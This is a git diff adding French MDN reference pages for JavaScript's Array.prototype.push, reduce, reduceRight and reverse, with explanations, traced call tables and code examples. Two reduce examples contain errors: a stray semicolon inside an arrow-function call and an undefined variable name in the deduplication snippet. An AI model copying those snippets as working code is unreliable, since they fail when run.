+<p><strong>Note :</strong> Attention à ne pas utiliser cette méthode lorsque les tableaux sont très grands car une fonction n'accepte qu'un nombre limité d'arguments. Voir {{jsxref("Function.apply","apply()")}} pour plus d'informations sur ces limites.</p>
+</div>
+
+<h3 id="Utiliser_un_objet_comme_on_utiliserait_un_tableau">Utiliser un objet comme on utiliserait un tableau</h3>
+
+<p>Comme nous l'avons vu auparavant, <code>push</code> est une méthode générique et nous pouvons donc utiliser <code>Array.prototype.push</code> sur les objets. On notera qu'il n'est pas nécessaire de stocker un ensemble d'objets. En fait, on enregistre l'ensemble dans l'objet et on utilise <code>call</code> sur <code>Array.prototype.push</code> :</p>
+
+<pre class="brush: js">var obj = {
+    length: 0,
+
+    ajoutElem: function ajoutElem (elem) {
+        // obj.length est automatiquement incrémenté
+        // quand on ajoute un élément
+        [].push.call(this, elem);
+    }
+};
+
+// Ajoutons quelques objets vides pour illustrer
+// l'exemple.
+obj.ajoutElem({});
+obj.ajoutElem({});
+console.log(obj.length);
+// → 2
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.7', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.push', 'Array.prototype.push')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.push")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.unshift()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/reduce/index.html b/files/fr/web/javascript/reference/objets_globaux/array/reduce/index.html
new file mode 100644
index 0000000000..17b90678b9
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/reduce/index.html
@@ -0,0 +1,407 @@
+---
+title: Array.prototype.reduce()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/reduce
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/Reduce
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>reduce()</strong></code> applique une fonction qui est un « accumulateur » et qui traite chaque valeur d'une liste (de la gauche vers la droite) afin de la réduire à une seule valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reduce(<var>callback</var>)
+<var>arr</var>.reduce(<var>callback</var>, valeurInitiale)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à exécuter sur chaque valeur de la liste (sauf le premier si aucune <code>valeurInitiale</code> n'est fournie), elle prend quatre arguments en entrée :
+ <dl>
+  <dt><code>accumulateur</code></dt>
+  <dd>La valeur précédemment retournée par le dernier appel du callback, ou <code>valeurInitiale</code>, si elle est fournie (voir ci-après) (c'est la valeur « accumulée » au fur et à mesure des appels</dd>
+  <dt><code>valeurCourante</code></dt>
+  <dd>La valeur de l'élément courant actuellement manipulé dans le tableau.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>L'index de l'élément courant actuellement manipulé dans le tableau.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>Le tableau sur lequel on a appelé la méthode <code>reduce()</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>valeurInitiale</code>{{optional_inline}}</dt>
+ <dd>Une valeur utilisée comme premier argument lors du premier appel de la fonction <code>callback</code>. Si aucune valeur initiale n'est fournie, le premier élément du tableau est utilisé (et la boucle de traitement ne le parcourera pas). Si on appelle <code>reduce()</code> sur un tableau vide sans fournir de valeur initiale, on aura une erreur.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur obtenue grâce à la fonction de réduction.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>reduce()</code> exécute la fonction <code>callback</code> une fois pour chaque élément présent dans le tableau et ignore les éléments vides du tableau. La fonction <code>callback</code> utilise quatre arguments :</p>
+
+<ol>
+ <li>L'accumulateur (la valeur retournée par le précédent appel de la fonction <code>callback</code>), ou la valeur initiale s'il sagit du premier appel ;</li>
+ <li>la valeur de l'élément courant ;</li>
+ <li>l'index de l'élément courant ;</li>
+ <li>le tableau parcouru par la méthode.</li>
+</ol>
+
+<p>La première fois que la fonction <code>callback</code> est appelée, <code>valeurInitiale</code> et <code>valeurCourante</code> peuvent correspondre à un ou deux éléments. Si <code>valeurInitiale</code> est fournie dans l'appel de <code>reduce()</code>, alors <code>accumulateur</code> sera égale à <code>valeurInitiale</code> et <code>valeurCourante</code> sera égale à la première valeur de la liste. Si <code>valeurInitiale</code> n'est pas fournie, alors <code>accumulateur</code> sera égale à la première valeur de la liste, et <code>valeurCourante</code> sera alors égale à la seconde.</p>
+
+<p>Autrement dit, si <code>valeurInitiale</code> n'est pas fournie, <code>reduce</code> exécutera la fonction de rappel à partir de l'indice 1 et la première valeur du tableau (d'indice 0) sera utilisée pour <code>valeurInitiale</code>.</p>
+
+<p>En considérant le code suivant :</p>
+
+<pre class="brush:js">[0, 1, 2, 3, 4].reduce(function(accumulateur, valeurCourante, index, array){
+  return accumulateur + valeurCourante;
+});
+</pre>
+
+<p>La fonction <code>callback</code> sera appelée quatre fois, avec les arguments et les valeurs de retour de chaque appel suivant :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col"><code>accumulateur</code></th>
+   <th scope="col"><code>valeurCourante</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">valeur retournée</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">premier appel</th>
+   <td><code>0</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">deuxième appel</th>
+   <td><code>1</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>3</code></td>
+  </tr>
+  <tr>
+   <th scope="row">troisième appel</th>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>6</code></td>
+  </tr>
+  <tr>
+   <th scope="row">quatrième appel</th>
+   <td><code>6</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La valeur retournée par <code>reduce()</code> sera alors celle du dernier appel de la callback (ici <code>10</code>).</p>
+
+<p>Il est aussi possible d'utiliser une {{jsxref("Fonctions/Fonctions_fléchées","fonction fléchée","",1)}} au lieu d'une fonction classique. Le code suivant, par exemple, produit le même résultat que l'exemple précédent :</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduce(
+  (accumulateur, valeurCourante) =&gt; accumulateur + valeurCourante;
+);</pre>
+
+<p>Si on fournit une valeur initiale comme second argument à l'appel de <code>reduce()</code>, le résultat sera alors le suivant :</p>
+
+<pre class="brush:js">[0, 1, 2, 3, 4].reduce(function(accumulateur, valeurCourante, index, array){
+  return accumulateur + valeurCourante;
+}, 10);
+</pre>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col"><code>accumulateur</code></th>
+   <th scope="col"><code>valeurCourante</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">valeur retournée</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">premier appel</th>
+   <td><code>10</code></td>
+   <td><code>0</code></td>
+   <td><code>0</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+  <tr>
+   <th scope="row">deuxième appel</th>
+   <td><code>10</code></td>
+   <td><code>1</code></td>
+   <td><code>1</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>11</code></td>
+  </tr>
+  <tr>
+   <th scope="row">troisième appel</th>
+   <td><code>11</code></td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>13</code></td>
+  </tr>
+  <tr>
+   <th scope="row">quatrième appel</th>
+   <td><code>13</code></td>
+   <td><code>3</code></td>
+   <td><code>3</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>16</code></td>
+  </tr>
+  <tr>
+   <th scope="row">cinquième appel</th>
+   <td><code>16</code></td>
+   <td><code>4</code></td>
+   <td><code>4</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Ici, la valeur renvoyée par <code>reduce()</code> serait <code>20</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Additionner_toutes_les_valeurs_dun_tableau">Additionner toutes les valeurs d'un tableau</h3>
+
+<pre class="brush:js">var total = [0, 1, 2, 3].reduce((a, b)=&gt; a + b,0);
+// total == 6
+</pre>
+
+<h3 id="Additionner_les_valeurs_dune_propriétés_pour_un_tableau_dobjets">Additionner les valeurs d'une propriétés pour un tableau d'objets</h3>
+
+<p>Pour additionner les valeurs d'une propriété donnée des objets d'un tableau, il sera nécessaire de fournir une valeur initiale afin que tous les éléments soient parcourus :</p>
+
+<pre class="brush: js">var valeurInitiale = 0;
+var somme = [{x: 1}, {x:2}, {x:3}].reduce(function (accumulateur, valeurCourante) {
+    return accumulateur + valeurCourante.x;
+}, valeurInitiale);
+
+console.log(somme); // affiche 6 dans la console
+</pre>
+
+<p>On peut également écrire une version plus concise avec les fonctions fléchées :</p>
+
+<pre class="brush: js">var valeurInitiale = 0;
+var somme = [{x: 1}, {x:2}, {x:3}].reduce(
+    (accumulateur, valeurCourante) =&gt; accumulateur + valeurCourante.x
+    , valeurInitiale
+);
+
+console.log(somme); // affiche 6 dans la console</pre>
+
+<h3 id="Aplatir_une_liste_de_listes">Aplatir une liste de listes</h3>
+
+<pre class="brush:js">var applati = [[0, 1], [2, 3], [4, 5]].reduce(function(a, b) {
+    return a.concat(b);
+});
+// applati vaut [0, 1, 2, 3, 4, 5]
+</pre>
+
+<h3 id="Utiliser_le_paramètre_valeurInitiale">Utiliser le paramètre <code>valeurInitiale</code></h3>
+
+<pre class="brush: js">var amis = [
+  { "nom": "Quentin", "livres": ["City Hall", "Harry Potter"]},
+  { "nom": "Alice", "livres": ["L'Avare", "Les Fleurs du Mal"]}
+]
+
+var tousLivres = amis.reduce(function(prev, curr) {
+  return [...prev, ...curr.livres];
+}, ["Perceval"]);
+
+// tousLivres = ["Perceval", "City Hall", "Harry Potter",
+//               "L'Avare", "Les Fleurs du Mal"]</pre>
+
+<h3 id="Exécuter_une_suite_de_promesses_stockées_dans_un_tableau">Exécuter une suite de promesses stockées dans un tableau</h3>
+
+<pre class="brush: js">/**
+ * Exécuter un enchaînement de promesses à partir d'un tableau
+ *
+ * @param {array} arr - un tableau de promesses
+ * @return {Object} un objet Promise
+ */
+function runPromiseInSequense(arr) {
+  return arr.reduce((promiseChain, currentPromise) =&gt; {
+    return promiseChain.then((chainedResult) =&gt; {
+      return currentPromise(chainedResult)
+        .then((res) =&gt; res)
+    })
+  }, Promise.resolve());
+}
+
+// promise function 1
+function p1() {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(5);
+  });
+}
+
+// promise function 2
+function p2(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 2);
+  });
+}
+
+// promise function 3
+function p3(a) {
+  return new Promise((resolve, reject) =&gt; {
+    resolve(a * 3);
+  });
+}
+
+const promiseArr = [p1, p2, p3];
+runPromiseInSequense(promiseArr)
+  .then((res) =&gt; {
+    console.log(res);   // 30
+  });
+</pre>
+
+<h3 id="Regrouper_des_objets_selon_une_propriété">Regrouper des objets selon une propriété</h3>
+
+<pre class="brush: js">var personnes = [
+  { nom: "Alice", age: 21 },
+  { nom: "Bob", age: 20 },
+  { nom: "Charlie", age: 20 }
+];
+
+function groupBy(tableauObjets, propriete){
+  return tableauObjets.reduce(function (acc, obj) {
+    var cle = obj[propriete];
+    if(!acc[cle]){
+      acc[cle] = [];
+    }
+    acc[cle].push(obj);
+    return acc;
+  }, {});
+}
+
+var personnesParAge = groupBy(personnes, "age");
+// personnesParAge aura la valeur :
+// {
+//    20: [
+//       { nom: "Bob", age: 20 },
+//       { nom: "Charlie", age: 20 }
+//    ],
+//    21: [{ nom: "Alice", age: 21 }]
+// }
+</pre>
+
+<h3 id="Composition_de_fonctions">Composition de fonctions</h3>
+
+<pre class="brush: js">// Les briques de base que nous allons composer
+const double = x =&gt; x + x;
+const triple = x =&gt; 3 * x;
+const quadruple = x =&gt; 4 * x;
+
+// Une fonction qui permet d'appliquer une composition
+const pipe = (...functions) =&gt; input =&gt; functions.reduce(
+    (acc, fn) =&gt; fn(acc),
+    input
+);
+
+// On crée des fonctions pour multiplier par un facteur donné
+const multiply6 = pipe(double, triple);
+const multiply9 = pipe(triple, triple);
+const multiply16 = pipe(quadruple, quadruple);
+const multiply24 = pipe(double, triple, quadruple);
+
+// Utilisation
+multiply6(6); // 36
+multiply9(9); // 81
+multiply16(16); // 256
+multiply24(10); // 240
+</pre>
+
+<h3 id="Retirer_les_doublons_dun_tableau">Retirer les doublons d'un tableau</h3>
+
+<h4 id="Avec_ECMAScript_2015_ES6">Avec ECMAScript 2015 (ES6)</h4>
+
+<pre class="brush: js">let tableauAvecDoublons = [1, 2, 3, 1, 4, 5, 4, 6];
+let tableauSansDoublon = Array.from(new Set(tableauAvecDoublons));
+console.table(tableauSansDoublon); // [1, 2, 3, 4, 5, 6]</pre>
+
+<h4 id="Avec_reduce">Avec <code>reduce()</code></h4>
+
+<pre class="brush: js">var tableauAvecDoublons = [1, 2, 3, 1, 4, 5, 4, 6];
+var tableauSansDoublon = tableauAvecDoublon.reduce(function (acc, valCourante) {
+  if(acc.indexOf(valCourante) === -1) {
+    acc.push(valCourante);
+  }
+  return acc
+}, []);
+
+console.log(tableauSansDoublon); // [1, 2, 3, 4, 5, 6]
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.21', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale.<br>
+    Implémenté dans JavaScript 1.8</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduce', 'Array.prototype.reduce()')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.reduce")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduceRight()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/reduceright/index.html b/files/fr/web/javascript/reference/objets_globaux/array/reduceright/index.html
new file mode 100644
index 0000000000..f29060283b
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/reduceright/index.html
@@ -0,0 +1,282 @@
+---
+title: Array.prototype.reduceRight()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/reduceRight
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/ReduceRight
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>reduceRight()</strong></code> applique une fonction sur un accumulateur et chaque valeur d'un tableau (de la droite vers la gauche) de sorte à réduire le tableau en une seule valeur.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reduce-right.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Voir également {{jsxref("Array.prototype.reduce()")}} pour une méthode qui réduit de gauche à droite.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reduceRight(<var>callback</var>[, valeurInitiale])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>La fonction à éxécuter sur chaque valeur de la liste. Elle utilise quatres arguments :
+ <dl>
+  <dt><code>accumulator</code></dt>
+  <dd>La valeur précédemment retournée par le dernier appel de la fonction <code>callback</code>, ou <code>valeurInitial</code> si elle est fournie. (Voir ci-après.)</dd>
+  <dt><code>valeurCourante</code></dt>
+  <dd>La valeur de l'élément courant dans le tableau.</dd>
+  <dt><code>index</code></dt>
+  <dd>L'index de l'élément du tableau actuellement manipulé.</dd>
+  <dt><code>array</code></dt>
+  <dd>Le tableau sur lequel <code>reduceRight()</code> est appelée.</dd>
+ </dl>
+ </dd>
+ <dt><code>valeurInitiale</code> {{optional_inline}}</dt>
+ <dd>C'est l'objet à utiliser comme accumulateur/premier argument lors du premier appel de la fonction <code>callback</code>. Si aucune valeur n'est fournie, c'est le dernier élément du tableau qui sera utilisé. Si on appelle <code>reduce()</code> ou <code>reduceRight()</code> sur un tableau vide sans fournir de valeur initiale, on aura une exception {{jsxref("TypeError")}}.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>La valeur obtenue grâce à la fonction de réduction.</p>
+
+<h2 id="Description">Description</h2>
+
+<p><code>reduceRight</code> exécute la fonction <code>callback</code> une fois pour chaque élément présent dans le tableau, les éléments vides sont ignorés. La fonction <code>callback</code> utilise quatre arguments : la valeur initiale (ou la valeur retournée par le précédent appel de la fonction<code> callback</code>), la valeur de l'élément courant, l'index de l'élément courant, et le tableau qui est parcouru.</p>
+
+<p>L'usage de <code>reduceRight</code> avec définition d'un <code>callback</code> devrait ressembler à ceci :</p>
+
+<pre class="brush: js">array.reduceRight(function(accumulator, valeurCourante, index, array) {
+    // ...
+});</pre>
+
+<p>La première fois que la fonction de callback est appelée, <code>accumulator</code> et <code>valeurCourante</code> peuvent correspondre à un ou deux éléments. Si <code>valeurInitiale</code> est fournie lors de l'appel à <code>reduceRight</code>, alors <code>accumulator</code> sera égale à <code>valeurInitiale</code> et <code>valeurCourante</code> sera égale à la dernière valeur de la liste. Si <code>valeurInitiale</code> n'est pas fournie, alors <code>accumulator</code> sera égale à la dernière valeur de la liste, et <code>valeurCourante</code> sera alors égale à l'avant-dernière valeur du tableau.</p>
+
+<p>Si on utilise la méthode <code>reduceRight</code> de la façon suivante :</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(accumulator, valeurCourante, index, array) {
+    return accumulator + valeurCourante;
+});
+</pre>
+
+<p>La fonction <code>callback</code> sera appelée quatre fois, avec les arguments et les valeurs de retour de chaque appel suivant :</p>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"><code>callback</code></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>valeurCourante</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">Valeur renvoyée</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">premier appel</th>
+   <td>4</td>
+   <td>3</td>
+   <td>3</td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td>7</td>
+  </tr>
+  <tr>
+   <th scope="row">second appel</th>
+   <td>7</td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td>9</td>
+  </tr>
+  <tr>
+   <th scope="row">troisième appel</th>
+   <td>9</td>
+   <td>1</td>
+   <td>1</td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td>10</td>
+  </tr>
+  <tr>
+   <th scope="row">quatrième appel</th>
+   <td>10</td>
+   <td>0</td>
+   <td>0</td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>10</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La valeur retournée par <code>reduceRight</code> sera alors celle du dernier appel de la fonction <code>callback</code> (<code>10</code>).</p>
+
+<p>Si vous fournissez une valeur initiale comme second argument à l'appel de <code>reduceRight</code>, le résultat sera alors le suivant :</p>
+
+<pre class="brush: js">[0, 1, 2, 3, 4].reduceRight(function(accumulator, valeurCourante, index, array) {
+    return accumulator + valeurCourante;
+}, 10);
+</pre>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col"></th>
+   <th scope="col"><code>accumulator</code></th>
+   <th scope="col"><code>valeurCourante</code></th>
+   <th scope="col"><code>index</code></th>
+   <th scope="col"><code>array</code></th>
+   <th scope="col">Valeur renvoyée</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th scope="row">premier appel</th>
+   <td><code>10</code></td>
+   <td>4</td>
+   <td>4</td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>14</code></td>
+  </tr>
+  <tr>
+   <th scope="row">second appel</th>
+   <td>14</td>
+   <td>3</td>
+   <td>3</td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>17</code></td>
+  </tr>
+  <tr>
+   <th scope="row">troisième appel</th>
+   <td>17</td>
+   <td><code>2</code></td>
+   <td><code>2</code></td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>19</code></td>
+  </tr>
+  <tr>
+   <th scope="row">quatrième appel</th>
+   <td>19</td>
+   <td>1</td>
+   <td>1</td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td>20</td>
+  </tr>
+  <tr>
+   <th scope="row">cinquième appel</th>
+   <td>20</td>
+   <td>0</td>
+   <td>0</td>
+   <td><code>[0,1,2,3,4]</code></td>
+   <td><code>20</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La valeur renvoyée par <code>reduceRight</code> sera ici <code>20</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Additionner_toutes_les_valeurs_d'une_liste">Additionner toutes les valeurs d'une liste</h3>
+
+<pre class="brush: js">var total = [0, 1, 2, 3].reduceRight(function(a, b) {
+    return a + b;
+});
+// total == 6
+</pre>
+
+<h3 id="Aplatir_une_liste_de_listes">Aplatir une liste de listes</h3>
+
+<pre class="brush: js">var aplati = [[0, 1], [2, 3], [4, 5]].reduceRight(function(a, b) {
+    return a.concat(b);
+}, []);
+// aplati [4, 5, 2, 3, 0, 1]
+</pre>
+
+<h3 id="Différence_entre_reduce_et_reduceRight">Différence entre <code>reduce</code> et <code>reduceRight</code></h3>
+
+<pre class="brush: js">var a = ['1', '2', '3', '4','5']
+var gauche = a.reduce(function(prev, cur) {
+  return prev + cur;
+});
+
+var droite = a.reduceRight(function(prev, cur) {
+  return prev + cur;
+});
+
+console.log(gauche); // "12345"
+console.log(droite); // "54321"</pre>
+
+<h3 id="Composition_de_fonctions_à_l'aide_de_reduce">Composition de fonctions à l'aide de <code>reduce</code></h3>
+
+<p>La composition de fonctions consiste en l'enchaînement de n fonctions l'une après l'autre (où les appels sont généralement exécutés de droite à gauche.</p>
+
+<pre class="brush: js">/**
+ *
+ * h(x) = f(g(x))
+ *
+ * https://fr.wikipedia.org/wiki/Composition_de_fonctions
+ */
+
+const compose = (...args) =&gt; (value) =&gt; args.reduceRight((acc, fn) =&gt; fn(acc), value)
+
+// On incrémente un nombre passé en argument
+const inc = (n) =&gt; n + 1
+
+// On double la valeur passée en argument
+const double = (n) =&gt; n * 2
+
+// On compose double(inc(x))
+compose(double, inc)(2) // 6
+
+// On compose inc(double(x))
+compose(inc, double)(2) // 5
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.22', 'Array.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Définition initiale. Implémentée avec JavaScript 1.8.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.reduceright', 'Array.prototype.reduceRight')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.Array.reduceRight")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.reduce()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/array/reverse/index.html b/files/fr/web/javascript/reference/objets_globaux/array/reverse/index.html
new file mode 100644
index 0000000000..515b437842
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/array/reverse/index.html
@@ -0,0 +1,105 @@
+---
+title: Array.prototype.reverse()
+slug: Web/JavaScript/Reference/Objets_globaux/Array/reverse
+tags:
+  - Array
+  - JavaScript
+  - Méthode
+  - Prototype
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/reverse
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>reverse()</strong></code> transpose les éléments d'un tableau : le premier élément devient le dernier et le dernier devient le premier et ainsi de suite.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-reverse.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>arr</var>.reverse()</pre>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Le tableau inversé.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>La méthode <code>reverse()</code> permet d'inverser l'ordre des éléments du tableau. La méthode modifie le tableau courant et renvoie une référence à ce tableau.</p>
+
+<p>Cette méthode est intentionnellement générique et peut être appelée (via {{jsxref("Function.call()")}}) ou appliquée (via {{jsxref("Function.apply()")}}) sur des objets semblables à des tableaux. Les objets qui ne contiennent pas de propriété <code>length</code> qui soit cohérente avec leurs propriétés indexées sur des nombres ne seront pas traités par <code>reverse()</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Inverser_l'ordre_des_éléments_d'un_tableau">Inverser l'ordre des éléments d'un tableau</h3>
+
+<p>L'exemple qui suit crée un tableau <code>monArray</code>, qui contient trois éléments, puis inverse celui-ci.</p>
+
+<pre class="brush: js">var monArray = ["un", "deux", "trois"];
+monArray.reverse();
+
